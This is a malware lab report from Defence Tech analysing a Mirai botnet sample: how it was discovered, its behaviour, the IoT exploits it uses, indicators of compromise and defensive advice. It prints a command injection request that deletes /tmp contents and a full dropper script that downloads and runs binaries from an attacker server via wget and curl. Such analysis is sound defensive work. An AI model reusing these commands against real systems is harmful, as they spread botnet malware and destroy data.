DEFENCE TECH

Terra, Cielo, Mare, Spazio, Spazio cibernetico.
PROTEGGIAMOLI

Mirai

Malware Lab Analysis Report

Summary

This document is protected by copyright laws and contains material proprietary to the Defence Tech Holding S.p.A Società Benefit. It or any components may not be reproduced, republished, distributed, transmitted, displayed, broadcast or otherwise exploited in any manner without the express prior written permission of Defence Tech Holding S.p.A Società Benefit. The receipt or possession of this document does not convey any rights to reproduce, disclose, or distribute its contents, or to manufacture, use, or sell anything that it may describe, in whole or in part.

DEFENCE TECH

1

Our Malware Lab

1. Our Malware Lab

Defence Tech Malware Lab daily performs dissection of malware with the aim of timely understanding the technological evolutions of attacks, consolidating the knowledge of necessary to make more effective and faster the process of incidents responding, contributing to spreading information about emerging threats into the expert's community and among its clients.

Malware Lab analysts are continuously engaged in searching and experimenting new analysis tools, for increasing accuracy and scope of action with regard to the proliferation of new evasion and anti-analysis techniques adopted by malwares.

The Malware Lab is also committed to the development of proprietary tools for malware analysis and supporting the management and response of incidents.

Besides malware analysis, Malware Lab ideated and implemented an automatic process of extraction of **Indicators of Compromise (IOC)** that is daily run on dozens of new malwares, intercepted in the wide for populating our Knowledge Base.

CORRADO AARON VISAGGIO
Group Chief Scientist Officer & Malware Lab Director
a.visaggio@defencetech.it

DEFENCE TECH

2

Executive Summary

2. Executive Summary

This report details a comprehensive analysis of a malware-based attack discovered in the wild by observing an unusual entry in the logs of a public web server. The identified threat appears to be a command injection exploit which is executed through malicious script named "lol.sh". It exhibits a sophisticated approach by attempting to download and execute a binary for 25 distinct CPU architectures.

Notably, this malware's primary goal is to compromise Linux systems, particularly IoT devices, turning them into a network of remotely controlled bots known as "zombies." The unpacked elf file is identified as the infamous Mirai[1] family malware, widely recognised for orchestrating large-scale DDoS attacks.

It exhibits an aggressive behaviour, targeting remote management processes like 'telnet' and 'ssh,' making the infected machine inaccessible. Furthermore, it attempts to terminate processes associated with competing malware.

During the spreading stage, it generates random IPv4 addresses to propagate through various exploits, targeting specific device vulnerabilities.

The C&Cs obtained from this analysis have now been taken offline, but this report serves as a critical resource for understanding Mirai malware's tactics, techniques, and procedures, enabling stakeholders to implement effective cybersecurity measures and mitigate potential threats to their networks.

[1] *https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai*

DEFENCE TECH

3 Analysis

3. Analysis

Figure 1 shows the command injection exploit, it consists in an unauthenticated HTTP request to a "/shell" endpoint which accepts arbitrary commands to run as the URL query parameter. Notably this does not look like a regular HTTP request as the query parameter is malformed and does not follow the typical key-value structures used over the web.

This exploit is targeted at MVPower DVR IoT devices, this is a very old exploit and the fact that is still in use shows how IoT devices are still particularly vulnerable to this kind of self-propagating malware, calling for strong network isolation solutions.

```
[error] open() "/html/shell" failed (2: No such file or directory), request: "GET
/shell?cd+/tmp;rm+-rf+*;wget+194.180.48.22/lol.sh;sh+/tmp/lol.sh HTTP/1.1"
```

Figure 1. Command injection exploit

The injected command is a series of bash instructions that download a script called lol.sh to the /tmp folder and proceed to execute it. We recovered the script and analysed it.

3.1 Malicious script

The script file contains a series of commands that download and attempt to execute a binary for 25 different CPU architectures.

```
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.x86; curl -O http://194.180.48.22/fuckyou/xd.x86;cat xd.x86 >SSH;chmod +x *;./SSH xd.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.mips; curl -O http://194.180.48.22/fuckyou/xd.mips;cat xd.mips >SSH;chmod +x *;./SSH xd.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.mpsl; curl -O http://194.180.48.22/fuckyou/xd.mpsl;cat xd.mpsl >SSH;chmod +x *;./SSH xd.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arm5; curl -O http://194.180.48.22/fuckyou/xd.arm5;cat xd.arm5 >SSH;chmod +x *;./SSH xd.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arm6; curl -O http://194.180.48.22/fuckyou/xd.arm6;cat xd.arm6 >SSH;chmod +x *;./SSH xd.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arm7; curl -O http://194.180.48.22/fuckyou/xd.arm7;cat xd.arm7 >SSH;chmod +x *;./SSH xd.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.ppc; curl -O http://194.180.48.22/fuckyou/xd.ppc;cat xd.ppc >SSH;chmod +x *;./SSH xd.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arm4; curl -O http://194.180.48.22/fuckyou/xd.arm4;cat xd.arm4 >SSH;chmod +x *;./SSH xd.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.aarch64; curl -O http://194.180.48.22/fuckyou/xd.aarch64;cat xd.aarch64 >SSH;chmod +x *;./SSH xd.aarch64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.aarch64be; curl -O http://194.180.48.22/fuckyou/xd.aarch64be;cat xd.aarch64be >SSH;chmod +x *;./SSH xd.aarch64be
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arcle-750d; curl -O http://194.180.48.22/fuckyou/xd.arcle-750d;cat xd.arcle-750d >SSH;chmod +x *;./SSH xd.arcle-750d
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arcle-hs38; curl -O http://194.180.48.22/fuckyou/xd.arcle-hs38;cat xd.arcle-hs38 >SSH;chmod +x *;./SSH xd.arcle-hs38
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.m68k-68xxx; curl -O http://194.180.48.22/fuckyou/xd.m68k-68xxx;cat xd.m68k-68xxx >SSH;chmod +x *;./SSH xd.m68k-68xxx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.microblazebe; curl -O http://194.180.48.22/fuckyou/xd.microblazebe;cat xd.microblazebe >SSH;chmod +x *;./SSH xd.microblazebe
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.microblazeel; curl -O http://194.180.48.22/fuckyou/xd.microblazeel;cat xd.microblazeel >SSH;chmod +x *;./SSH xd.microblazeel
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.nios2; curl -O http://194.180.48.22/fuckyou/xd.nios2;cat xd.nios2 >SSH;chmod +x *;./SSH xd.nios2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.openrisc; curl -O http://194.180.48.22/fuckyou/xd.openrisc;cat xd.openrisc >SSH;chmod +x *;./SSH xd.openrisc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.sh-sh4; curl -O http://194.180.48.22/fuckyou/xd.sh-sh4;cat xd.sh-sh4 >SSH;chmod +x *;./SSH xd.sh-sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.x86-64-core-i7; curl -O http://194.180.48.22/fuckyou/xd.x86-64-core-i7;cat xd.x86-64-core-i7 >SSH;chmod +x *;./SSH xd.x86-64-core-i7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.x86-core2; curl -O http://194.180.48.22/fuckyou/xd.x86-core2;cat xd.x86-core2 >SSH;chmod +x *;./SSH xd.x86-core2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.x86-i686; curl -O http://194.180.48.22/fuckyou/xd.x86-i686;cat xd.x86-i686 >SSH;chmod +x *;./SSH xd.x86-i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.xtensa; curl -O http://194.180.48.22/fuckyou/xd.xtensa;cat xd.xtensa >SSH;chmod +x *;./SSH xd.xtensa
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.arc; curl -O http://194.180.48.22/fuckyou/xd.arc;cat xd.arc >SSH;chmod +x *;./SSH xd.arc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.alpha; curl -O http://194.180.48.22/fuckyou/xd.alpha;cat xd.alpha >SSH;chmod +x *;./SSH xd.alpha
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.48.22/fuckyou/xd.mips64; curl -O http://194.180.48.22/fuckyou/xd.mips64;cat xd.mips64 >SSH;chmod +x *;./SSH xd.mips64
```

Figure 2. Malicious script

Each line will attempt to change the current directory to the first available among '/tmp', '/var/run', '/mnt', '/root' and simply '/', then it will attempt to download a binary using both 'wget' and 'curl' and adjust its permissions to finally run it.

We calculated the hashes for all the files that are being distributed by 194[.]180[.]48[.]22 and are listed in the IoC section.

3.2 Behaviour

The sample is packed with what appears to be a custom version of UPX and unpacking it is straightforward by setting breakpoints on indirect jumps. The unpacked binary is extracted through two different memory allocations which prevents naive dumping attempts, however dumping both segments while keeping their relative distance is enough to recover a working executable.

The unpacked elf is identified as Mirai by most major Antivirus products.

Mirai is designed to operate on Linux systems, mostly IoT devices. It can turn them into a network of remotely controlled bots or "zombies" always connected to the C2.
This network is often used to launch DDoS large scale attacks, other than typical flooding techniques; through Yara signatures two known DoS exploits, namely CVE-2004-0790 and CVE-2005-0068 have been found in this sample.

By analysing this sample, we identified the C2 IP address 65[.]222[.]202[.]53, which is stored inline as an integer constant. Another IP address that stands out in the binary is 194[.]180[.]48[.]22 which seems to be used only for the distribution of the binaries.

Mirai's behaviour is well known, it will attempt to kill remote management processes such as 'telnet' or 'ssh' and take over their ports hindering the access to the machine; it will also attempt to kill a hardcoded list of processes of competing malware.

Once the initialization is complete the malware will start the spreading stage by generating random IPv4 addresses and attempting to propagate through exploits.

Analysing this sample we could identify the following exploits, but not all of them have been assigned a CVE:

Vulnerability	Reference
CVE-2013-7471	https://nvd.nist.gov/vuln/detail/cve-2013-7471
CVE-2017-18368	https://nvd.nist.gov/vuln/detail/CVE-2017-18368
CVE-2018-10561	https://nvd.nist.gov/vuln/detail/cve-2018-10561
CVE-2015-2051	https://nvd.nist.gov/vuln/detail/CVE-2015-2051
CVE-2017-17215	https://nvd.nist.gov/vuln/detail/CVE-2017-17215
CVE-2014-8361	https://nvd.nist.gov/vuln/detail/CVE-2014-8361
CVE-2016-6277	https://nvd.nist.gov/vuln/detail/CVE-2016-6277
Netgear DGN1000 shell injection	https://www.exploit-db.com/exploits/43055/
MVPower DVR shell injection	https://www.exploit-db.com/exploits/41471
Shell injection in CCTV devices of several vendors	https://www.exploit-db.com/exploits/39596
Varcon NVR devices shell injection	https://vulners.com/seebug/SSV:96609
Eir D1000 Wireless Router shell injection	https://www.exploit-db.com/exploits/40740
D-Link devices SOAP TelnetD Shell injection	https://www.exploit-db.com/exploits/28333

Table 1. Exploits

This is the behaviour that we observed in the web server log entry that prompted our investigation, since the request likely came from an infected device, we hid the IP address.

While the spreading process is running, on a different thread the malware will connect to its C2 server waiting for commands.

3.3 IOC

In the next tables we inserted IoC of the Mirai sample analysed in this report.

Type	Value	Note
IP	65[.]222[.]202[.]53	C2 (offline) VirusTotal - 8/89 AlienVault
IP	194[.]180[.]48[.]22	C2 for distribution (offline) VirusTotal - 16/89 AlienVault
SHA-256	BF1EAF44BFBF71EA520ECBD00D3359D7623D3C1BFBA53 A7A0B4272AD36B1233F	lol.sh
SHA-256	EF1E88852639FDEF1757F134A93F212365F270B1061619 D6BAF439D037075C19	September.sh
SHA-256	599F4506926B3EF37EC83A5E8A89B1EEA10434AD2B840 C190413C2F750FCB99F	xd.aarch64
SHA-256	A3A75FC9DD4675E0E649EE0A2F0C024BA8567CE201A1 F97948F3F93EBC22CC78	xd.aarch64be
SHA-256	AF1E22614EA8C67DD0E5FD363757C1A9EEFCF2BDBF944 FE82F1D1A1865CEC9D6	xd.alpha
SHA-256	C5058B374D5645F38D2B6D152400FA0F61D2217B9B1907 5C12AFFEBB3A4E1A10	xd.xtensa
SHA-256	D4E433AE55E4A2C131DBCBE323DF636E48F6153C264299 7D03F61BD9C85470BC	xd.arc
SHA-256	EF730FE1FCB426F7C536EC7F1F2183356B131FE205C742 B1E7186D1200678A42	xd.arcle-750d
SHA-256	94ED9227ABBC3B98063A29378818EC09442E484BD3C222 4363D6CE7B7386307B	xd.arcle-hs38
SHA-256	D0A28C4A28DF76B91F33DA013C072CE196043D454006D4 F0A8D613912D3452F0	xd.arm4

SHA-256	A7CE9E42B83A77701252BB2D36168E5BBCC7991E4A6A 31DF236DC1E64BD840E4	xd.x86-i686
SHA-256	09216B775F1021990FD691B305D3DB63C3B049F278E88 FE704CEB54336D74471	xd.arm5
SHA-256	08835BC98E18391E03BBFAC4F9185223EF22461AA6BD 6EBD4282DFF956B772EE	xd.x86-core2
SHA-256	D5AAE5DABE31E0483F2C193867E738DD62C16CE487 B94BC05538E2AB91C99126	xd.arm6
SHA-256	987C12270C5E873FB5C244D58E68F31BF97B606EB4CB B1743781C5B786F48315	xd.x86-64-core-i7
SHA-256	1C90CC973E6C73A625126E690C8F91702118CA33E7B F070C8A3655D3E0F97D3F	xd.arm7
SHA-256	179F32351170C2CA20606700E1207CCA087AF33B4629 EC19EE6F729244262D1E	xd.m68k-68xxx
SHA-256	8695DAD507962846E06C78EA78B98C7222765E6D4C9 C7668EA591524EB59F1A9	xd.microblazebe
SHA-256	47F6450A1F188CA72E04B3C6446183702BABA47D1A28 15D24634C706DEDBA0CC	xd.microblazeel
SHA-256	AFD78EB724654A464CE5E58A911F9D2E152F69DE9962 FA09BAA2692FCAFFD68F	xd.mips
SHA-256	CD467970253ACA558076986158F9EA601616E326393 E0CB96B24893B311E54B7	xd.mips64
SHA-256	D7CF476EB4E7BA144AFEC24FA3102B53FEFC0126F284 7384797DFF894AE1E231	xd.mpsl
SHA-256	C1C119699585A261239FA3C490AB38A905537099824 18FBC08CD24F89FCE4EF1	xd.nios2
SHA-256	CCC30AD61DDFF3C9828C19E7A1E987204B8AE2B5D086 3068A2F2136957A73FF1	xd.openrisc
SHA-256	6217CC050F506A2BAFA6DD38F032EAC8FE9A7C67D83D4 72954FAAACC8603D08A	xd.ppc
SHA-256	551BA66B650BC19AEEF9A047F2EBD5D1EE1D4A9C4EF60E 8A709214C549E20ECF	xd.sh-sh4

Table 2. IoC

DEFENCE TECH

4

Conclusions

4. Conclusions

With the increasing proliferation of IoT devices, their security will become even more critical.

As this malware analysis shows, even vulnerabilities as old as 2006 are still being used to exploit internet-facing devices. One critical step for companies to improve their cybersecurity position is to ensure IoT devices are properly isolated from the main company network as well as shielded with a firewall from threats that actively scan the internet looking for such devices.

Mirai is a typical example of self-propagating malware and one of the most common Linux malware families, understanding the tactics employed by it is crucial for implementing effective protection strategies.

To safeguard against Mirai's aggressive propagation tactics, organizations should prioritize monitoring and securing vulnerable services and devices. Implementing robust intrusion detection systems, network segmentation, and timely patching of known vulnerabilities, are paramount for mitigating risks associated with Mirai's exploitation techniques. Also, regular updates to security protocols and continuous monitoring are essential components of a comprehensive defence strategy.

Furthermore, the distinctive behaviours exhibited by Mirai, such as terminating competing malware processes and executing DDoS attacks, necessitate a proactive stance in threat detection and response. So, incorporating behavioural analytics and anomaly detection can enhance the ability to identify suspicious activities indicative of Mirai infections.
By incorporating all these insights into cybersecurity practices, the organizations can enhance their resilience against Mirai and other sophisticated threats, ultimately safeguarding their networks and mitigating potential risks to critical assets and services.

DEFENCE TECH

Terra, Cielo, Mare, Spazio, Spazio cibernetico.
PROTEGGIAMOLI

DONEXIT IT SECURITY

NEXT INGEGNERIA DEI SISTEMI

FORAMIL RADAR TECHNOLOGIES & DEFENCE SYSTEMS

INNOVESI electronic systems

Defence Tech Holding S.p.A Società Benefit

Via Giacomo Peroni, 452 - 00131 Roma
tel. 06.45752720 - fax 06.45752721
info@defencetech.it - www.defencetech.it